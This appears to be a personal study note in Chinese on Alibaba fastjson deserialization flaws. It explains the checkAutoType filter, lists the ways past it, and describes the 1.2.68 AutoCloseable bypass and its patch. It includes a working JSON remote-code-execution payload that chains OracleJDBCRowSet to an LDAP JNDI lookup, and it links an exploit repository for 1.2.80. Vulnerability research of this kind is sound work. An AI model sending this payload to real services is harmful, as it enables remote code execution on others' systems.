# fastjson deserialize ###### tags: `Note` `deserialize` ## Abstract fastjson 是一個 Java 的 library,可以將 Java Object 和 JSON 格式互相轉換,主要為 Alibaba 開發 [Github Repository](https://github.com/alibaba/fastjson) ## Background * AutoType * 允許用戶在反序列化數據中透過 `@type` 指定反序列化的 class 類型 `fastjson [v1.2.25,)` * checkAutoType * 在 `fastjson 1.2.25` 以及之後的版本中,fastjson AutoType 這一機制帶來的安全隱患,增加了一層名為 checkAutoType 的檢測機制 * AutoType 開啟黑白名單機制(用 hash) * 即使開啟了 `notSupportAutoType` 也不代表不支援 AutoType,還是是會進入 checkAutoType 進行檢查,裡面不外乎就是做各種黑白名單的過濾或是特殊案例的例外處理,導致許多邏輯漏洞存在在此 function 中 * checkAutoType 運作邏輯 * 首先會進行以下 3 個判斷 1. 是否在白名單之中 2. 是否在反序列化的 cache 中 (mappings 列表) 3. class 有 JSONType 註解(Ex: fastjson.annotation.JSONType) * 如果滿足以上 3 個條件,會 return 並繼續執行反序列化,否則會進行以下判斷 1. 傳入的 typeName 是否在黑名單中 2. 是否繼承 RowSet、DataSource、ClassLoader * 如果滿足以上 2 個條件的其中 1 個,會直接 error,否則會進行以下判斷 1. expectClass 不等於 NULL、Object、Serializable、Closeable 等類型 2. 傳入的 typeName class 繼承於 expectClass * 如果滿足以上 2 個條件,會 return 並繼續執行反序列化且會將未載入進 cache 的 class 載入 cache,否則會檢查 `autoTypeSupport` 是不是等於 True 歸納一個小結論,若是想要通過 `checkAutoType` 的驗證有以下方法 1. 傳入的 class 在白名單中 2. 要反序列化的 classs 在 cache 中(TypeUtils.mapping 中有 @type 指定的 class) 3. 開啟 autoTypeSupoort 4. 使用 JSONType 註解(Ex: fastjson.annotation.JSONType) 5. 傳入的 typeName class 繼承於 expectClass ## Vuln ### 1.2.68 :::warning 透過 expectClass != NULL 的條件繞過 checkAutoType ::: background 提到想要通過 `checkAutoType` 的驗證有 5 種方法,這邊使用的是第 5 種 [code](https://github.com/alibaba/fastjson/blob/1.2.68/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java) ```php checkAutoType(String typeName, Class<?> expectClass, int features) ``` 剛剛提到繼承的 expectClass 不能在黑名單中,但在 `fastjson v1.2.68` 及以前的黑名單裡,雖然包括了大部分常用的 class,但少了 `java.lang.AutoCloseable` 和 `java.util.BitSet` #### payload ##### RCE ```json { "@type":"java.lang.AutoCloseable", "@type":"oracle.jdbc.rowset.OracleJDBCRowSet", "dataSourceName":"ldap://localhost:1389/test", "command":"a" } ``` > 第一次的 @type 使得 expectClass 變成 true,讓第二個 @type 可以順利的 deserialize ##### patch 將 `java.lang.Runnable`、`java.lang.Readable`、`java.lang.AutoCloseable` 加入黑名單 ### 1.2.80 把目標換成 `java.lang.Exception` 但目前 poc 都需要 Evil class 存在並且實作有害的 setter 才能利用 ## Reference [payload](https://github.com/su18/hack-fastjson-1.2.80)